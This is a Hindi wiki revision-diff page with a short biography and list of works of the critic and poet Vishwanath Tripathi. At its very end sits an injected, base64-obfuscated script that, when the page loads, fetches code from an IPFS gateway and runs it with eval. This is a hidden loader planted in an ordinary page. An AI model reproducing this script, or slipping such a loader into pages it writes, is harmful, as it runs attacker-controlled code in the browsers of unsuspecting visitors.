विश्वनाथ त्रिपाठी: Difference between revisions
Jump to navigation
Jump to search
[unchecked revision] | [unchecked revision] |
No edit summary |
No edit summary |
||
Line 17: | Line 17: | ||
<references/> | <references/> | ||
==संबंधित लेख== | ==संबंधित लेख== | ||
{{साहित्यकार}} | {{मूर्ति देवी पुरस्कार}}{{साहित्यकार}} | ||
[[Category:साहित्यकार]][[Category:लेखक]][[Category:आधुनिक लेखक]][[Category:मूर्ति देवी पुरस्कार]][[Category:आलोचक]][[Category:आधुनिक साहित्यकार]][[Category:कवि]][[Category:चरित कोश]][[Category:साहित्य कोश]][[Category:जीवनी साहित्य]] | [[Category:साहित्यकार]][[Category:लेखक]][[Category:आधुनिक लेखक]][[Category:मूर्ति देवी पुरस्कार]][[Category:आलोचक]][[Category:आधुनिक साहित्यकार]][[Category:कवि]][[Category:चरित कोश]][[Category:साहित्य कोश]][[Category:जीवनी साहित्य]] | ||
__INDEX__ | __INDEX__ | ||
__NOTOC__ | __NOTOC__ |
Revision as of 06:22, 21 February 2021
thumb|250px|विश्वनाथ त्रिपाठी
विश्वनाथ त्रिपाठी (अंग्रेज़ी: Vishwanath Tripathi, जन्म- 16 फ़रवरी, 1931, ज़िला बस्ती, उत्तर प्रदेश) जानेमाने भारतीय हिंदी लेखक, आलोचक, कवि तथा गद्यकार हैं। उनके श्रेय में लगभग 20 प्रकाशन हैं। जिनमें साहित्यिक आलोचना, संस्मरण और कविता संग्रह शामिल हैं। वर्ष 2014 में उन्हें उनकी रचना 'व्योमकेश दरवेश' के लिये 'मूर्ति देवी पुरस्कार' से सम्मानित किया गया था।
- विश्वनाथ त्रिपाठी जी का जन्म 16 फ़रवरी, सन 1931 में बस्ती ज़िला (वर्तमान सिद्धार्थनगर), उत्तर प्रदेश में हुआ था।
- प्रगतिशील विचारधारा से सम्बद्ध कट्टरतारहित आलोचक के रूप में डॉ. विश्वनाथ त्रिपाठी ने मुख्यतः मध्यकालीन साहित्य से लेकर समकालीन साहित्य तक की आलोचना में गहरी अंतर्दृष्टि का परिचय दिया है।
- जीवनी एवं संस्मरण लेखन के क्षेत्र में भी उन्होंने महत्त्वपूर्ण मुकाम हासिल किया है।
- विश्वनाथ त्रिपाठी की भाषा एवं साहित्य दोनों के गम्भीर अनुसंधित्सु रहे हैं। उनकी पहली पुस्तक 'हिन्दी आलोचना' आज भी अपनी मौलिकता, प्रांजलता, ईमानदार अभिव्यक्ति तथा सटीक एवं व्यापक विश्लेषण के कारण अपने क्षेत्र में अद्वितीय है।
- त्रिपाठी जी ने बहुत नहीं लिखा है, परन्तु जो भी लिखा है, उसे पढ़ते हुए यह निःसंकोच कहा जा सकता है कि उनकी लिखी हर पंक्ति अत्यधिक महत्त्वपूर्ण और अवश्य ध्यातव्य है।
कृतियाँ
आलोचना : कुछ कहानियाँ-कुछ विचार, हिंदी आलोचना, देश के इस दौर में।
कविता संग्रह : जैसा कह सका।
संस्मरण : व्योमकेश दरवेश।
आत्मकथा : नंगातलाई का गाँव।
|
|
|
|
|
टीका टिप्पणी और संदर्भ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>